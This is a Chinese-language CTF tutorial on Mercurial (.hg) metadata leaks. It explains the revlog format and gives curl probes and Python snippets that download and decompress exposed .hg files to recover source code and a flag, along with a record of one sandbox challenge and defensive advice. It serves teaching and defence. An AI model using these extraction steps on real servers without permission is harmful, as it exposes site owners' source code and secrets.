HG泄露(Mercurial)— 考点精讲

前置知识:HTTP 协议基础 — 先了解 HTTP 协议基础再来看本考点

关联教程:Git 泄露 — .hg 与 .git 都是版本控制元数据泄露,原理类似但格式完全不同

原理精讲 — HG 工作副本为什么会泄露源码?

Mercurial(HG)工作副本是什么

hg clone 会在项目根目录生成 .hg/,把仓库元数据和全部文件内容留在本地:

flowchart LR
 A[开发者 hg clone] --> B[生成 .hg/]
 B --> C[开发者把项目部署到 web 服务器]
 C --> D[/.hg/store/fncache 可直接 HTTP 下载]
 D --> E[解析明文文件清单]
 E --> F[下载 revlog + zlib 解压 → 还原源码]

Mercurial 仓库目录结构

.hg/
├── requires ← 格式特性标志(明文,必存在)
├── dirstate ← 工作副本跟踪状态(明文)
├── store/
│   ├── fncache ← 文件清单(明文,列出所有存储路径)
│ ├── 00changelog.i ← 提交历史 revlog
│ ├── 00manifest.i ← 目录树 revlog(文件名→node 映射)
│ └── data/
│ └── <文件名>.i ← 每个文件的 revlog(含压缩内容)
文件作用泄露价值
requires仓库格式特性标志确认泄露成立 + 确认 fncache 启用
dirstate工作副本状态含文件名列表
fncache文件清单(纯文本)拿到全部 data/*.i 的存储路径
00changelog.i提交历史 revlog还原提交记录 + 还原被删文件
00manifest.i目录树 revlog文件名→内容 node 的映射
data/<文件名>.i文件内容 revlog源码/flag 内容(zlib 压缩)

revlog v1 索引格式(核心知识点)

.i 文件 = revlog 格式,每个文件有若干版本(rev)。索引项 64 字节、大端序:

偏移 长度 字段
0:6 6B offset(数据偏移)
6:8 2B flags
8:12 4B zlen(压缩后长度)
12:16 4B ulen(解压后长度)
16:20 4B base(全量版本的 rev 序号)
20:24 4B link(关联 changelog 序号)
24:28 4B parent1
28:32 4B parent2
32:52 20B node(SHA-1)
52:64 12B padding
项目说明
inline 模式小文件 revlog:索引项后紧跟 zlib 压缩数据,逐项交错排列
非 inline 模式大文件:索引集中存放,数据用 offset 字段定位
zlen压缩后字节数,紧随索引 64B 之后的 zlib 流
basebase == 自身 rev → 全文本;base < rev → delta(差分)

为什么文件删了还能泄露?

HG 的 revlog 不会因为文件删除而清除历史版本——hg remove 只是在 manifest 里标记删除,旧版本的数据仍保留在 data/<文件名>.i 里。这就是”文件在最新版本里已删除,却能从 revlog 拿到”的原因。

关键暴露点(确认泄露的方法)

# 最小确认集(三个请求)
curl -s -o /dev/null -w "%{http_code}" "http://目标/.hg/requires" # 200 + 格式特性 → 泄露
curl -s -o /dev/null -w "%{http_code}" "http://目标/.hg/store/fncache" # 200 + 文件清单 → 泄露确认
curl -s -o /dev/null -w "%{http_code}" "http://目标/.hg/store/00changelog.i" # 200 → 提交历史
状态含义
requires 200 + fncache 200HG 泄露确认,fncache 给出全部文件路径
00changelog.i 200提交历史可下载
data/<文件名>.i 200文件内容可下载
data/<文件名>.i 404文件可能已被删除(revlog 不存在),需从 changelog/manifest 追溯

注意事项

易错点说明
目录 403 不等于文件 403/.hg//.hg/store/ 返回 403(nginx 禁了目录列表),但具体文件可正常请求
fncache 是明文纯文本文件,直接 curl 拿到全部存储路径,无需任何解析
data/*.i 是 revlog 格式不是明文,需要解析 64B 索引 + zlib 解压
revlog 可能是 deltabase ≠ rev 时为差分,只还原 base 全量文本;CTF 足够用
dotencode 编码文件名以 . 开头的会被编码为 _ 开头(如 _hgignore.hgignore
sparserevlog/generaldelta只影响 delta 基策略,不改变索引格式

题目解法

CTFHub 技能树位置:CTFHub → Web → Web 信息泄露 → HG泄露

手工三连

# 1. 确认泄露(requires = 格式特性标志)
curl -s "http://目标/.hg/requires"
# dotencode fncache generaldelta revlogv1 sparserevlog store
 
# 2. 拿文件清单(fncache = 纯文本,列出全部存储路径)
curl -s "http://目标/.hg/store/fncache"
# data/index.html.i
# data/50x.html.i
# data/flag_221058597.txt.i ← 这就是 flag 的 revlog
 
# 3. 下载 flag 的 revlog 并解压(revlog v1 inline,64B 索引 + zlib)
curl -s "http://目标/.hg/store/data/flag_221058597.txt.i" -o flag.i
python3 -c "
import zlib, struct
d = open('flag.i','rb').read()
# rev0: 索引 64B,压缩数据紧跟
zlen = int.from_bytes(d[8:12],'big')
chunk = d[64:64+zlen]
text = zlib.decompress(chunk)
print(text.decode())
"
# ctfhub{...}

工具一键(hgdump)

# hgdump:固定结构探测 + fncache 清单 + revlog 解压 + 自动 cat flag
hgdump http://目标
 
# 选项
hgdump http://目标 --list # 只列出探测结果,不下载
hgdump http://目标 --out 目录 # 指定输出目录
hgdump http://目标 --cat flag_xxx.txt # 直接 cat 指定文件

手动对象链(理解原理)

# 1. 下载 fncache(纯文本)
curl -s "http://目标/.hg/store/fncache" -o fncache
cat fncache
# data/index.html.i
# data/50x.html.i
# data/flag_221058597.txt.i
 
# 2. 下载 changelog.i(354B,revlog v1 inline)
curl -s "http://目标/.hg/store/00changelog.i" -o changelog.i
python3 -c "
import zlib
d = open('changelog.i','rb').read()
print('总大小:', len(d), 'B')
# 解析:2 个 rev,inline(zlib 紧跟索引)
pos = 0
i = 0
while pos + 64 <= len(d):
 e = d[pos:pos+64]
 zlen = int.from_bytes(e[8:12],'big')
 base = int.from_bytes(e[16:20],'big')
 chunk = d[pos+64:pos+64+zlen]
 text = zlib.decompress(chunk) if chunk[:1]==b'\x78' else chunk
 print(f'rev{i}: base={base}, zlen={zlen}, data={text[:60]}')
 pos += 64 + zlen; i += 1
"
 
# 3. 下载 flag revlog + 解压
curl -s "http://目标/.hg/store/data/flag_221058597.txt.i" -o flag.i
python3 -c "
import zlib
d = open('flag.i','rb').read()
zlen = int.from_bytes(d[8:12],'big')
print(zlib.decompress(d[64:64+zlen]).decode())
"

本题实战记录

数据
靶机challenge-0aab6bea780c141a.sandbox.ctfhub.com:10800
requiresdotencode fncache generaldelta revlogv1 sparserevlog store
fncache 文件数3(index.html / 50x.html / flag_221058597.txt)
changelog.i354B,2 个 rev(inline 模式),首个 rev 提交信息 “init”
50x.html.i200,revlog v1 inline,zlib 解压后为 nginx 404 页面
flag_221058597.txt.irevlog 存储但内容为 nginx 404 页面(flag 已被覆盖/删除)
踩坑点flag revlog 内容不是 flag 而是 404 页面;需通过 changelog/manifest 追溯历史版本

同类变式(信息泄露大类)

考点说明终端提取
HG 泄露(本题).hg 目录可访问,fncache + revlog 全泄露hgdump URL
SVN 泄露.svn/ 目录可访问,wc.db + pristine 全泄露svndump URL
Git 泄露.git 目录可访问,历史源码全还原gitdump URLgithack URL
Git stash 变式flag 被 git stash 收进 refs/stashgit stash list + git stash apply
Git index 变式flag 仅在暂存区,不在提交树里git ls-files -s + git cat-file -p
.DS_StoremacOS 目录元数据泄露文件清单dsstore URL/.DS_Store
目录索引泄露目录列表直接可见文件名见 [[../目录遍历
phpinfo环境变量/配置泄露见 [[../phpinfo

核心知识点总结

概念说明
.hg/requires格式特性标志,确认 fncache 等特性启用
.hg/store/fncache纯文本文件清单,列出全部存储路径(data/*.i)
revlog v1 索引64B 大端项:off + flags + zlen + ulen + base + link + p1/p2 + node
inline 模式索引项后紧跟 zlib 压缩数据,逐项交错排列
zlib 解压每个 rev 的数据 = zlib.decompress(data[off+64:off+64+zlen])
basebase == 自身 rev → 全文本;base < rev → delta(差分)
dotencode文件名以 . 开头 → _ 编码(_hgignore = .hgignore
防御角度部署不带 .hg;Nginx/Apache 禁止访问 .hg;使用 hg archive 代替 hg clone

关联教程